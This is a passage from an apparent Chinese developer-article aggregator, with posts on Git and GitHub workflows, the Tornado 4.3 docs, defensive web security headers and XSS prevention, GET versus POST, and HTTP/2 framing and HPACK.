错误提示显示，gitignore文件冲突了，现在我们去android studio手动合并该文件的冲突。合并完冲突之后你就可以提交了。

冲突解决：




然后进行提交。我试着用如下命令来进行提交：
git push origin master
但是报错：error: failed to push some refs to 'https://github.com/sanchi3/Test.git'，
我试着先用git push命令进行提交，


第一次用git push这样提交之后，studio会无法拉取远程代码，提示错误No tracked branch configured for branch master. To make your branch track a remote branch call。然后我们再次使用git push origin master命令进行提交，然后一切OK。

提交完成之后你可以在网页上看到你刚才提交的文件。


以上。第一次提交用命令行也是挺方便的。你也可以在上面的添加分支步骤之后用android studio进行操作，右键点击项目，git->repository->push，因为已经在命令行add过，所以在这儿就不add和commit了，直接提交，在提交的时候需要输入账号密码：


Github：

	方法一：进入github主页，点击那个加号，点击new repository：





填写项目信息：


打开android studio，创建需要提交的项目。接下来的步骤可以和上面的完全相同。

	方法二：
最简单的方式，这个应该需要你的android studio是最新版，貌似之前低版本的时候不可以来着：点击VCS->inport into version control->share project on github：






如果你没有登录过github，提示你输入账号密码，输入之后：


点击share，自动执行上面我们在命令行的操作：


再次输入账号密码：


直接OK，在github打开。



 Tornado 4.3文档翻译: 首页

作者：TaoBeier

来源： Tornado 4.3文档翻译: 首页



                    
译者说

Tornado 4.3于2015年11月6日刚发布，该版本正式支持Python3.5的async/await关键字，并且用旧版本CPython编译Tornado同样可以使用这两个关键字，这无疑是一种进步。其次，这是最后一个支持Python2.6和Python3.2的版本了，在后续的版本了会移除对它们的兼容。现在网络上还没有Tornado4.3的中文文档，所以为了让更多的朋友能接触并学习到它，我开始了这个翻译项目，希望感兴趣的小伙伴可以一起参与翻译，项目地址是tornado-zh on Github，翻译好的文档会优先发布在Read the Docs上。欢迎Issues or PR。

Tornado Web Server



Tornado是一个Python web框架和异步网络库，起初在FriendFeed开发.通过使用非阻塞网络I/O，Tornado可以支撑上万级的连接，处理 长连接,WebSockets和其他需要与每个用户保持长久连接的应用.

相关链接


	下载当前4.3版本


	源码 (github)


	邮件列表: discussion and announcements


	Stack Overflow


	Wiki




Hello, world

这是一个简单的Tornado的web应用::

import tornado.ioloop
import tornado.web

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("Hello, world")

def make_app():
    return tornado.web.Application([
        (r"/", MainHandler),
    ])

if __name__ == "__main__":
    app = make_app()
    app.listen(8888)
    tornado.ioloop.IOLoop.current().start()


这个例子没有使用Tornado的任何异步特性;了解详情请看 simple chat room.

安装

自动安装::

pip install tornado


Tornado在 PyPI列表中，可以使用 pip 或 easy_install 安装. 注意源码发布中包含的示例应用可能不会出现在这种方式安装的代码中，所以你也可能希望通过下载一份源码包的拷贝来进行安装.

手动安装: 下载当前4.3版本:

tar xvzf tornado-4.3.tar.gz
cd tornado-4.3
python setup.py build
sudo python setup.py install


Tornado的源码托管在 hosted on GitHub.

Prerequisites: Tornado 4.3 运行在Python 2.6, 2.7, 和 3.2+
(对Python 2.6 和 3.2的支持是不推荐的并将在下个版本中移除). 对Python 2的2.7.9或更新版 强烈
推荐提高对SSL支持. 另外Tornado的依赖包可能通过 pip or setup.py install 被自动安装,
下面这些可选包可能是有用的:


	unittest2是用来在Python 2.6上运行Tornado的测试用例的(更高版本的Python是不需要的)


	concurrent.futures是推荐配合Tornado使用的线程池并且可以支持 tornado.netutil.ThreadedResolver 的用法. 它只在Python 2中被需要，Python 3已经包括了这个标准库.


	pycurl是在
tornado.curl_httpclient 中可选使用的.需要Libcurl 7.19.3.1 或更高版本;推荐使用7.21.1或更高版本.


	Twisted会在
tornado.platform.twisted 中使用.


	pycares是一个当线程不适用情况下的非阻塞DNS解决方案.


	Monotime添加对monotonic clock的支持,当环境中的时钟被频繁调整的时候，改善其可靠性. 在Python 3.3中不再需要.




平台: Tornado可以运行在任何类Unix平台上,虽然为了最好的性能和可扩展性
只有Linux(使用 epoll)和BSD(使用 kqueue)是推荐的产品部署环境(尽管Mac OS X通过BSD发展来并且支持kqueue,但它的网络质量很差，所以它只适合开发使用)
Tornado也可以运行在Windows上，虽然它的配置不是官方支持的,同时也仅仅推荐开发使用.

文档

这个文档同时也提供 PDF 和 Epub 格式.

讨论和支持

你可以讨论Tornado在 Tornado 开发者邮件列表, 报告bug在 GitHub issue tracker. 

其他资源可以在 Tornado wiki上找到. 新版本会宣布在 announcements mailing list.

Tornado is available underthe Apache License, Version 2.0.

This web site and all documentation is licensed under Creative Commons 3.0.


 当从Git上Pull遇到问题时的几种处理方法

作者：snowell

来源： 当从Git上Pull遇到问题时的几种处理方法



                    
用git pull的时候，经常会遇到这样的错误：


fatal: early EOF
fatal: index-pack failed



有几处设置可以尝试着去解决这个问题。首先找到gitconfig文件。它的路径在：


*[git installed path]*/etc/gitconfig



以管理员模式打开这个文件，在[core]部分加上这一句：


 compression = 0



这代表不压缩，会引起一定的性能问题。如果之后不再出现以上的错误，可以再去掉这一行。


如果还不行，有可能是因为存在Git上的工程太大了，这时候需要把本地的限制调高一些。还是在[core]部分，加上这两行：


packedGitLimit = 512m 
packedGitWindowSize = 512m



在[pack]部分加上这三行：


deltaCacheSize = 2047m 
packSizeLimit = 2047m 
windowMemory = 2047m



大小根据你的实际情况来填写。


改完了记得保存。


一般这么折腾一下，基本可以解决问题。


 GitCafe 现已支持移动端适配

作者：GitCafe

来源： GitCafe 现已支持移动端适配



                    
临近春节，GitCafe 给各位程序员带来了一份礼物，从此大家可以方便地在移动端浏览 GitCafe 的网站了，妈妈再也不用担心我不能及时地看见小伙伴的项目与最新动态了～


下面让我们来看看 GitCafe 目前已经适配了手机端的页面吧


1 首页




2 注册登录页面



3 个人主页



4 探索，可以浏览推荐和最近的项目



5 项目主页，可以浏览项目的基本信息和Readme的内容。



我们会陆续完善手机适配页面，以满足我们可爱的用户日益增长的移动需求。


为了方便用户，大家可以从我们的微信公众号（搜索 “GitCafe”）的自定义菜单里的 “工具 Cafe” 进入登录 GitCafe 的页面，开始愉快的旅程。


我们欢迎各位通过点击这里 填写表单，指出你们找到的 bug，或是对我们的页面有什么好的建议，之后我们会有精美小礼物送出哦：）


最后，祝大家羊年快乐！


 Git常用的简单命令

作者：phplife

来源： Git常用的简单命令



                    
Vim+Gig是在服务器端开发再合适不过的神器！这里只是对自己平常工作中常常使用到的git命令做一个小小的总结，方便程序员开发和版本控制！

git的配置文件
1、git有三个级别的配置文件，分别是版本库级别的配置文件、全局配置文件（用户家目录下）、系统配置文件（安装git的时候所在的目录，一般情况下是在/etc/）。它们的有限级别如下，.git 目录下的config文件配置会覆盖用户家目录下的配置文件，而用户家目录的配置文件会覆盖系统的git配置文件
2、git config -e 对版本库中的.git/config 文件进行编辑
   git config -e --global 对主目录下的.gitconfig文件进行编辑
   git config -e --system 对系统级别的配置文件进行编辑
3、git config <section> . <key> 用来读取某个配置节下的对应键
   git config <section> . <key> 用来设置某个配置接下的对应键

git --version
查看当前git的版本

初始化代码仓库（此时在当前目录下，就会多一个 .git 的目录，就是代码仓库）
git init

git config --global user.name 'zero'
git config --global user.email 'maweibinguo@163.com' (自报家门)
git config --global color.ur true（在命令行中开启颜色显示）
对git进行配置

git rev-parse --git-dir
显示版本库.git目录所在的位置

git status -s
功能：用来比较，当前的工作目录和缓存区的状态
??:该文件还没有被git进行追踪
A：当前工作目录同缓存文件相比，新增加的文件
M：当前目录同缓冲区相比，已经进行了改变（Modify）
D: 当前目录同缓冲区相比，删除的文件

注意：git status 是以缓冲区中的内容为标准的，所有的AMD都是以缓冲区的内容为准，经过同缓冲区的对比，发现当前工作区进行了AMD等操作

git diff
功能：如果没有其他参数，git diff 会显示自从你上次提交快照之后尚未缓存的所有更改
注意：对比的参照点仍然是缓冲区中的内容，将当期那工作目录中的文件同缓冲区做对比

git diff --cached
功能：将缓冲区的内容同快照中的内容进行对比

git diff HEAD
功能：将当前工作目录中的文件，同快照中的内容进行对比,HEAD(当前工作分支)

git commit -m '对本次提交的快照的说明'
功能：将缓冲区中的内容添形成一次快照（也就是打一个版本）

git commit -am '对本次提交的说明'
功能：同git commit -m 的功能类似，但是，由于多了一个a参数。这样就有一个隐含的操作，将已经追踪的文件先进行自动提交（注意：是已经追踪到的文件）！

git log ：
功能：显示从最近到最远的提交日志
个人体会是，我们最想要的就是commmitid和对本次提交的说明

git reset --hard commitid
功能：回到指定的某个版本，注意，是连通当前的工作区一起回去，很可怕的一个命令。如果你并没有对当前的工作目录进行提交，而且还执行了这个操作，那么就杯具了，你上次提交后所有的更改内容就全部丢失而来，本人在这方面就犯了很大的错误！想想都是血泪啊！

git reflog
功能：用来记录你的每一次命令，这样我们就可以看到所有的commitid了（而git log只能够用来查看当前版本的commitid以及以前提交版本的commitid）

git checkout -- file 
功能：将缓冲区或者快照中的指定文件恢复到当前的工作目录
注意：--是必须要写的，如果不写的话，就成为了分支的切换。
同时，我们应该明白，恢复的先后顺序。执行完改命令后，如果缓冲区中有该文件的话，那么工作目录就会恢复到缓冲区的样子！如果缓冲区没有文件的话，那么就会恢复到最新提交的版本上面！

git reset HEAD file
功能：将缓冲区中的指定文件，回退到最新的一次commit版本。
这个命令还是很有用的，如果我们误操作了，并且进行了add，那么此时再用 git checkout --file 恢复工作区中的内容的话，就没有任何效果了！但是执行git reset HEAD file这个命令，就可以将最新一次的commit中的file文件拉回到缓冲区中，然后在通过git checkout -- file命令，恢复到工作区中！

git branch
功能：展现当前的所有分支，前面带有 "*" 是所在分支

git branch 分支名
功能：创建一个新的分支

git checkout -b  分支名
功能:创建新分支，并切换到改分支上

git branch -d  分支名
功能：删除指定的分支（不可以删除当前所在分支）

git checkout 分支名
功能：用于在不同的分支之间进行切换
注意：由于版本的不同，在操作上可能有所不同！在某些版本上必须先进行git add , commit 之后，才能进行分支的切换！（1.8.3之前的貌似都需要提交才行），而有的分支则不需要进行此操作！

git merge 分支名
功能:将指定的分支合并到当前的分支
关于分支的合并我想说一下，自己的理解，个人认为所谓合并，其实是对所有修改的合并！这里举个例子说明会更好一些：
A作家写初步完成了一篇长篇小说的初稿，但是呢仍然需要对这篇长篇小说进行修修改改！处于对质量的严格要求！此时A作家找到了B作家，希望B作家提出宝贵的意见，让他对这篇小说也进行修改！等修改的差不多了，A作家，就让B作家把他的修改内容发给A作家，A作家再将B作家的修改添加到自己既有的修改上面！（--这应该就是合并）
如果A作家的修改的内容，B作家也进行了修改，那么就有A作家去决定改要谁的修改！（--这就是解决冲突）
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Web安全是一个如何强调都不为过的事情，我们发现国内的众多网站都没有实现全站https，对于其他安全策略的实践更是很少，本文的目的并非讨论安全和攻击的细节，而是从策略的角度引发对安全的思考和重视。

1. 数据通道安全

http协议下的网络连接都是基于明文的，信息很有可能被泄露篡改，甚至用户都不知道通信的对方是否就是自己希望连接的服务器。因此，信息通道安全有以下两个目标：


	身份认证


	数据不被泄漏和篡改




幸运的是https解决了上述问题的（更多关于https的细节可以看下上一篇干货扒一扒https网站的内幕)。理论上https是安全的，即使如此，https依然应该被重视，因为理论上理论和实践是一样的，但实践中又是另外一回事。前段时间爆发的心血漏洞就是一个例子。

2. 浏览器安全

https解决了点到点的安全问题和身份认证问题，接下来会出现问题的地方就只有2个：浏览器和服务器，这个层面上的安全问题并没有https一样的银弹可以一次性解决。

2.1 origin 源

了解浏览器安全，有一个概念特别重要，那就是源(origin) 什么是源呢？


	相同的HOST


	相同的协议


	相同的端口




举栗子：


	https//www.wilddog.com和http//www.wilddog.com非同源，因为协议不同。


	http//wilddog.com和http//www.wilddog.com非同源，因为域名不同。


	http//wilddog.com和http//wilddog.com:8080非同源，因为端口不同。




源这个概念为甚这么重要，这要从同源策略说起。

2.2 同源策略

同源策略限制了一个源（origin）中加载文本或脚本与来自其它源（origin）中资源的交互方式。简单的说就是一个源的页面上的js只能访问当前源的资源，不能访问其他源的资源。那么资源是什么呢？


	DOM


	通过AJAX请求的网络资源


	Cookie


	WebStorage，webSql


	...




很显然，同源策略以源为单位，把资源天然分隔，保护了用户的信息安全。

同源策略是一堵墙，然而墙并非不透风。有很多方法可以绕过同源策略让javascript访问其他源的资源。比如：


	JSONP：基于iframe的方法（iframe+window.name iframe+window.domain iframe+webMessage）


	CORS：我认为只有CORS是"正当的"绕过同源策略的方法 同源策略是浏览器安全策略的基础，但同源策略面对很多攻击是无能为力的，比如XSS




2.3 XSS (Cross-Site Script)

跨站脚本攻击，名字跟同源策略很像，事实上他们之间基本没有关系。跨站脚本攻击本质上是一种注入攻击（有兴趣了解更多注入攻击可以看Injection Theory）。其原理，简单的说就是利用各种手段把恶意代码添加到网页中，并让受害者执行这段脚本。XSS的例子只要百度一下有很多。XSS能做用户使用浏览器能做的一切事情。可以看到同源策略无法保证不受XSS攻击，因为此时攻击者就在同源之内。



XSS攻击从攻击的方式可以分为：


	反射型


	存储型


	文档型




这种分类方式有些过时，长久以来，人们认为XSS分类有以上三种，但实际情况中经常无法区分，所以更明确的分类方式可以分为以下两类：


	client(客户端型)


	server(服务端型)




当一端XSS代码是在服务端被插入的，那么这就是服务端型XSS，同理，如果代码在客户端插入，就是客户端型XSS。

2.4 防止XSS攻击--转义

无论是服务端型还是客户端型XSS，攻击达成需要两个条件：


	代码被注入


	代码被执行




其实只要做好无论任何情况下保证代码不被执行就能完全杜绝XSS攻击。详情可以看下XSS (Cross Site Scripting) Prevention Cheat Sheet这篇文章。
这里简单说下结论：任何时候都不要把不受信任的数据直接插入到dom中的任何位置,一定要做转义。

2.4.1 对于某些位置,不受信任的数据做转义就可以保证安全：


	div body的内部html


	一般的标签属性值




2.4.2 对于某些位置，即使做了转义依然不安全：


	<script>中


	注释中


	表签的属性名名


	标签名


	css标签中




2.4.3 使用JSON.parse 而不是eval,request 的content-type要指定是Content-Type: application/json;

2.4.4 如果链接的URL中部分是动态生成的，一定要做转义。

2.5 HTML 转义



2.6 使用浏览器自带的 XSS-filter



现代浏览器都对反射型XSS有一定的防御力，其原理是检查url和dom中元素的相关性。但这并不能完全防止反射型XSS。另外，浏览器对于存储型XSS并没有抵抗力，原因很简单，用户的需求是多种多样的。所以，抵御XSS这件事情不能指望浏览器。

可以通过http头控制是否打开XSS-filter,当然默认是打开的.X-XSS-Protection

2.7 CSP(Content Security Policy)

从原理上说防止XSS是很简单的一件事，但实际中，业务代码非常多样和复杂，漏洞还是时不时会出现。CSP并不是用来防止XSS攻击的，而是最小化XSS发生后所造成的伤害。事实上，除了开发者自己做好XSS转义，并没有别的方法可以防止XSS的发生。CSP可以说是html5给Web安全带来的最实惠的东西。CSP的作用是限制一个页面的行为不论是否是javacript控制的。

如何引入CSP呢？



2.7.1 通过response头

//只允许脚本从本源加载Content-Security-Policy: script-src 'self'


2.7.2 通过html的meta标签

//作用同上<meta http-equiv="Content-Security-Policy" content="script-src 'self'">


那么CSP除了限制script-src之外还能限制什么呢？


	base-uri: 限制这篇文档的uri；


	child-src: 限制子窗口的源(iframe、弹窗等),取代frame-src；


	connect-src: 限制脚本可以访问的源；


	font-src: 限制字体的源；


	form-action: 限制表单能够提交到的源；


	frame-ancestors: 限制了当前页面可以被哪些页面以iframe,frame,object等方式加载；


	frame-src: deprecated with child-src,限制了当前页面可以加载哪些源，与frame-ancestors对应；


	img-src: 限制图片可以从哪些源加载；


	media-src: 限制video,audio, source,track能够从哪些源加载；


	object-src: 限制插件可以从哪些源加载；


	sandbox: 强制打开沙盒模式；




可以看出，CSP是一个强大的策略，几乎可以限制了所有能够用到的资源的来源。使用好CSP可以很大成都降低XSS带来的风险。另外，CSP还提供一个报告的头Content-Security-Policy-Report-Only，使用这个头浏览器向服务器报告CSP状态，细节先不讨论。

Content-Security-Policy-Report-Only:script-src'self';
                              report-uri/csp-report-endpoint/


CSP 目前有两版：CSP1和CSP2。

两版的支持状态可以在http://caniuse.com/#search=csp中查到。

CSP1:



CSP2: 



2.8 X-Frame-Options

这是response头，现在正在使用，但以后可以被CSP的frame-ancestors取代。目前支持的状态比起CSP frame-ancestors要好，使用的方式：


	X-Frame-Options:DENY//这个页面不允许被以frame的方式加载


	X-Frame-Options:SAMEORIGIN//这个页面只允许同源页面加载


	X-Frame-Options:<uri> //这个页面只能被特定的域加载




2.9 Http-Only

使用Http-only保护cookie，可以保证即使发生了XSS，用户的cookie也是安全的。使用Http-only保护的cookie是不会被javascript读写的。

2.10 iframe沙箱环境

虽然有同源策略，iframe的问题还是有很多的，比如各种利用iframe进行跨源。HTML5为iframe提供了安全属性sandbox，如果使用此属性，iframe的能力将会被限制,细节我们将会在以后的文章中详细讨论。

2.11 其他安全相关的HTTP头

X-Content-Type-Options阻止浏览器进行content-type 嗅探。告诉浏览器相信此服务器下发的资源的类型，防止类型嗅探攻击。

HPKP(Public Key Pinning)Public Key Pinning是一个response头，用来检测一个证书的公钥是否发生了改变，防止中间人攻击。

HSTS (HTTP Strict-Transport-Security) 强制使用TSL作为数据通道，在扒一扒HTTPS网站的内幕中也有详细介绍。

说了这么多我们看以下一些各个网站实现的情况：



谷歌是行业的标杆，在互联网无出其右，学习Google就对了！



我们野狗的官网https://www.wilddog.com/同样也实现了几个重要的http头。



百度做的就比较差了，一家如此大规模的互联网公司，对于安全，对于技术如此不敏感，只能说是很悲哀，充分说明中国互联网企业对安全的重视是非常低的！值得注意的是，百度的http到https的跳转居然是服务端做的。

我们再来看下行业笑话12306。



3. HTML5 对 Web 安全的影响

HTML5带来了很多新的特性，让浏览器和javascript获得了更大的能力。然而能力越大，被攻破后的危险就越大。

HTML5对XSS的影响主要体现在:

更大的攻击面，HTML5带来来更多的标签和更多的属性，XSS发生的可能性更大。
更大的危害，HTML5更多的资源可以被XSS利用。黑客可以利用浏览器的一切权限，比如本地存储，GEO，WebSocket，Webworker。



遗憾的是HTML并没有针止XSS和XSRF带来系统性解决方案。在这个前提下，CSP变得非常重要，可以大大降低XSS后的危害。

HTML5时代实际对开发者提出来更高的要求，因为有更多的交互，更多的前端行为，HTML5有更多的API。希望共勉，不做蒙古大夫，与广大的开发者一同提高中国互联网的用户体验！
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	MDN web security https://developer.mozilla.org/en-US/docs/Web/Security


	XSS cheet sheet https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet


	野狗科技官网 https://www.wilddog.com/





 GET请求和POST请求的区别
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GET请求和POST请求的区别

经常遇到「既然GET请求可以做POST请求的事情，为什么还要区分GET和POST而不只使用一个请求？」的问题。作为在实际中被使用最广的两个请求方法，这个问题其实挺难回答的，但万物总有其根由，今天就追根究底。

查看RFC规范再加上之前查过的一些二手文章，整理了如下的观点:


	GET 被强制服务器支持


	浏览器对URL的长度有限制，所以GET请求不能代替POST请求发送大量数据


	GET请求发送数据更小


	GET请求是安全的


	GET请求是幂等的


	POST请求不能被缓存


	POST请求相对GET请求是「安全」的




GET被强制服务器支持

All general-purpose servers MUST support the methods GET and HEAD. All other methods are OPTIONAL.



GET 通常用于请求服务器发送某个资源。在HTTP/1.1中，要求服务器实现此方法；POST请求方法起初是用来向服务器输入数据的。在HTTP/1.1中，POST方法是可选被实现的，没有明确规定要求服务器实现。

浏览器对URL的长度有限制，所以GET请求不能代替POST请求发送大量数据

RFC 2616 (Hypertext Transfer Protocol — HTTP/1.1) states in section 3.2.1 that there is no limit to the length of an URI (URI is the official term for what most people call a URL)



RFC 2616 中明确对 uri 的长度并没有限制。不过虽然在RFC中并没有对uri的长度进行限制，但是各大浏览器厂家在实现的时候限制了URL的长度，可查到的是IE对长度限制为2083；而chrome遇到长度很长的URL时，会直接崩溃。

所以这条结论算是正确的。

GET请求发送数据更小

只能通过写代码验证了：下面第一个文件是服务器代码，作用是在客户端发送GET和POST请求的时候返回200状态码。第二个文件是客户端HTML文件，点击两个button，分别发送GET请求和POST请求。

import koa from 'koa'
import fs from 'mz/fs'


const app = koa()

app.use(function* (next) {
  if(this.path == '/test')
    return this.status = 200

  yield next
})

app.use(function* (next) {
  this.type = 'html'
  this.body = yield fs.readFile('./index.html')
  yield next
})

app.listen(8080)
console.log('koa server port: 8080')

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Title</title>
</head>
<body>
<button id="get">GET</button>
<button id="post">POST</button>
</body>
<script>
  function http(type) {
    return function (url) {
      var req = new XMLHttpRequest()
      req.open(type, url)

      req.send()
    }
  }

  var getDom = document.getElementById('get')
    , postDom = document.getElementById('post')
    , get = http('GET')
    , post = http('POST')


  getDom.addEventListener('click', function () {
    get('/test')
  })

  postDom.addEventListener('click', function () {
    post('/test')
  })


</script>
</html>




从上两张图可以看到POST请求的headers要比GET请求多了两个属性。所以这条结论其实也算是对的，不过从请求发送时间来看的话，其实两者并没有差别。




GET请求是安全的

Of the request methods defined by this specification, the GET, HEAD,OPTIONS, and TRACE methods are defined to be safe.



这里的安全指的是在规范的定义下，Get操作不会修改服务器的数据

GET请求是幂等的

A request method is considered "idempotent" if the intended effect on
the server of multiple identical requests with that method is the
  same as the effect for a single such request.  Of the request methods
  defined by this specification, PUT, DELETE, and safe request methods
  are idempotent.



从上面可以看到GET请求是安全的，在幂等性中说PUT和DELETE以及安全method都是幂等的，所以GET自然也被包括了。

POST请求不能被缓存

我们在实际使用过程中对HTTP请求的优化大多数都放在GET请求上，比如对没有数据变化的请求（网站中常用的静态文件）做缓存，在潜意识中认为只有GET请求才可以被缓存，所以从来也不会考虑POST请求的缓存优化，然而在RFC中提到GET和POST以及HEAD都是可以被缓存的。不过不要惊讶，之前不知道POST可以被缓存是因为标准也很无奈，浏览器的实现总是比标准厉害。

In general, safe methods thatdo not depend on a current or authoritative response are defined as cacheable; this specification defines GET, HEAD, and POST as cacheable, although the overwhelming majority of cache implementations only support GET and HEAD.



POST请求相对GET请求是「安全」的

这一点很多人都会质疑，被抓包之后的POST请求和GET请求是一样裸露的，所以更安全的说法是不对的。我这里所有的「安全」是相对的，因为GET请求有时候会直接反应在浏览器的地址栏，而现在的浏览器大多会记住曾经输入过的URL。试想如果你曾经在别人电脑上填过一个很私密的表单，那么你的这份记录很可能被连没什么电脑常识的人都一览无遗。


 HTTP/2 新特性浅析

作者：云叔_又拍云

来源： HTTP/2 新特性浅析



                    
HTTP/2 源自 SPDY/2

SPDY 系列协议由谷歌开发，于 2009 年公开。它的设计目标是降低 50% 的页面加载时间。当下很多著名的互联网公司，例如百度、淘宝、UPYUN 都在自己的网站或 APP 中采用了 SPDY 系列协议（当前最新版本是 SPDY/3.1），因为它对性能的提升是显而易见的。主流的浏览器（谷歌、火狐、Opera）也都早已经支持 SPDY，它已经成为了工业标准，HTTP Working-Group 最终决定以 SPDY/2 为基础，开发 HTTP/2。

但是，HTTP/2 跟 SPDY 仍有不同的地方，主要是以下两点：


	HTTP/2 支持明文 HTTP 传输，而 SPDY 强制使用 HTTPS


	HTTP/2 消息头的压缩算法采用 HPACK，而非 SPDY 采用的 DELEFT




HTTP/2 的优势

相比 HTTP/1.x，HTTP/2 在底层传输做了很大的改动和优化：


	HTTP/2 采用二进制格式传输数据，而非 HTTP/1.x 的文本格式。二进制格式在协议的解析和优化扩展上带来更多的优势和可能。


	HTTP/2 对消息头采用 HPACK 进行压缩传输，能够节省消息头占用的网络的流量。而 HTTP/1.x 每次请求，都会携带大量冗余头信息，浪费了很多带宽资源。头压缩能够很好的解决该问题。


	多路复用，直白的说就是所有的请求都是通过一个 TCP 连接并发完成。HTTP/1.x 虽然通过 pipeline 也能并发请求，但是多个请求之间的响应会被阻塞的，所以 pipeline 至今也没有被普及应用，而 HTTP/2 做到了真正的并发请求。同时，流还支持优先级和流量控制。


	Server Push：服务端能够更快的把资源推送给客户端。例如服务端可以主动把 JS 和 CSS 文件推送给客户端，而不需要客户端解析 HTML 再发送这些请求。当客户端需要的时候，它已经在客户端了。




HTTP/2 主要是 HTTP/1.x 在底层传输机制上的完全重构，HTTP/2 是基本兼容 HTTP/1.x 的语义的（详细兼容性说明请戳 这里）。Content-Type 仍然是 Content-Type，只不过它不再是文本传输了。那么 HTTP/2 的这些新特性又是如何实现的呢？

HTTP/2 的基石 － Frame

Frame 是 HTTP/2 二进制格式的基础，基本可以把它理解为它 TCP 里面的数据包一样。HTTP/2 之所以能够有如此多的新特性，正是因为底层数据格式的改变。 Frame 的基本格式如下（图中的数字表示所占位数，内容摘自 http2-draft-17）:

+-----------------------------------------------+
|                 Length (24)                   |
+---------------+---------------+---------------+
|   Type (8)    |   Flags (8)   |
+-+-------------+---------------+-------------------+
|R|                 Stream Identifier (31)          |
+=+=================================================+
|                   Frame Payload (0...)        ...
+---------------------------------------------------+


	Length: 表示 Frame Payload 部分的长度，另外 Frame Header  的长度是固定的 9 字节（Length + Type + Flags + R + Stream Identifier = 72 bit）。


	Type: 区分这个 Frame Payload 存储的数据是属于 HTTP Header 还是 HTTP Body；另外 HTTP/2 新定义了一些其他的 Frame Type，例如，这个字段为 0 时，表示 DATA 类型（即 HTTP/1.x 里的 Body 部分数据）


	Flags: 共 8 位， 每位都起标记作用。每种不同的 Frame Type 都有不同的 Frame Flags。例如发送最后一个 DATA 类型的 Frame 时，就会将 Flags 最后一位设置 1（flags &= 0x01），表示 END_STREAM，说明这个 Frame 是流的最后一个数据包。


	R: 保留位。


	Stream Identifier: 流 ID，当客户端和服务端建立 TCP 链接时，就会先发送一个 Stream ID = 0 的流，用来做些初始化工作。之后客户端和服务端从 1 开始发送请求/响应。




Frame 由 Frame Header 和 Frame Payload 两部分组成。不论是原来的 HTTP Header 还是 HTTP Body，在 HTTP/2 中，都将这些数据存储到 Frame Payload，组成一个个 Frame，再发送响应/请求。通过 Frame Header 中的 Type 区分这个 Frame 的类型。由此可见语义并没有太大变化，而是数据的格式变成二进制的 Frame。二者的转换和关系如下图:


图片引用自这里

为 HTTP/2 头压缩专门设计的 HPACK


如果我们约定将常用的请求比如 GET /index.html 用一个 1 来表示，POST /index.html 用 2 来表示。那么是不是可以节省很多字节？

为 HTTP/2 的专门量身打造的 HPACK 便是类似这样的思路延伸。它使用一份索引表来定义常用的 HTTP Header。把常用的 HTTP Header 存放在表里。请求的时候便只需要发送在表里的索引位置即可。例如 :method=GET 使用索引值 2 表示，:path=/index.html 使用索引值 5 表示（完整的列表参考：HPACK Static Table）。只要给服务端发送一个 Frame，该 Frame 的 Payload 部分存储 0x8285，Frame 的 Type 设置为 Header 类型，便可表示这个 Frame 属于 HTTP Header，请求的内容是：

GET /index.html

为什么是 0x8285，而不是 0x0205？ 这是因为高位设置为 1 表示这个字节是一个完全索引值（key 和 value 都在索引中）。类似的，通过高位的标志位可以区分出这个字节是属于一个完全索引值，还是仅索引了 key，还是 key 和 value 都没有索引。因为索引表的大小的是有限的，它仅保存了一些常用的 HTTP Header，同时每次请求还可以在表的末尾动态追加新的 HTTP Header 缓存。动态部分称之为 Dynamic Table。Static Table 和 Dynamic Table 在一起组合成了索引表：

<----------  Index Address Space ---------->
<-- Static  Table -->  <-- Dynamic Table -->
+---+-----------+---+  +---+-----------+---+
| 1 |    ...    | s |  |s+1|    ...    |s+k|
+---+-----------+---+  +---+-----------+---+
                       ^                   |
                       |                   V
                 Insertion Point      Dropping Point

HPACK 不仅仅通过索引键值对来降低数据量，同时还会将字符串进行霍夫曼编码来压缩字符串大小。

以常用的 User-Agent 为例，它在静态表中的索引值是 58，它的值是不存在表中的，因为它的值是多变的。第一次请求的时候它的 key 用 58 表示，表示这是一个 User-Agent ，它的值部分会进行霍夫曼编码（如果编码后的字符串变更长了，则不采用霍夫曼编码）。服务端收到请求后，会将这个 User-Agent 添加到 Dynamic Table 缓存起来，分配一个新的索引值。客户端下一次请求时，假设上次请求User-Agent的在表中的索引位置是 62， 此时只需要发送 0xBE（同样的，高位置 1），便可以代表： User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 Safari/537.36。其过程如下图所示:


图片引用自这里

最终，相同的 Header 只需要发送索引值，新的 Header 会重新加入 Dynamic Table。

Multipexing 多路复用

每个 Frame Header 都有一个 Stream ID  就是被用于实现该特性。每次请求/响应使用不同的 Stream ID。就像同一个 TCP 链接上的数据包通过 IP:PORT来区分出数据包去往哪里一样。通过 Stream ID 标识，所有的请求和响应都可以欢快的同时跑在一条 TCP 链接上了。 下图是 http 和 spdy(http2 的模型和 spdy 是类似的) 的并发模型对比：



当流并发时，就会涉及到流的优先级和依赖。优先级高的流会被优先发送。图片请求的优先级要低于 CSS 和 SCRIPT，这个设计可以确保重要的东西可以被优先加载完。

Server Push

当服务端需要主动推送某个资源时，便会发送一个 Frame Type 为 PUSH_PROMISE 的 Frame，里面带了 PUSH 需要新建的 Stream ID。意思是告诉客户端：接下来我要用这个 ID 向你发送东西，客户端准备好接着。客户端解析 Frame 时，发现它是一个 PUSH_PROMISE 类型，便会准备接收服务端要推送的流。

结束语

本文简化了很多 HTTP/2 协议中的具体细节，只描述了 HTTP/2 中主要特性实现的基本过程。

如果你想实现一个支持 HTTP/2 的服务器，那么你可以移步 HTTP/2 官网 做更多了解，它还提供了一份已经实现 HTTP/2 的项目列表：https://github.com/http2/http2-spec/wiki/Implementations 。

另外，关于 HTTP/2 性能如何，可以参考官方小组给出的例子：https://http2.akamai.com/demo。

UPYUN 在不久的将来也会加入对 HTTP/2 协议支持，为用户提供更好更快的云加速服务。

追加：目前又拍云已全网支持 HTTP/2 协议及 SPDY3.1协议。



延伸阅读


	HTTP/2 gitbook


	《High Performance Browser Networking》





 pyspider 爬虫教程（二）：AJAX 和 HTTP

作者：足兆叉虫
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在上一篇教程中，我们使用 self.crawl API 抓取豆瓣电影的 HTML 内容，并使用 CSS 选择器解析了一些内容。不过，现在的网站通过使用 AJAX 等技术，在你与服务器交互的同时，不用重新加载整个页面。但是，这些交互手段，让抓取变得稍微难了一些：你会发现，这些网页在抓回来后，和浏览器中的并不相同。你需要的信息并不在返回 HTML 代码中。


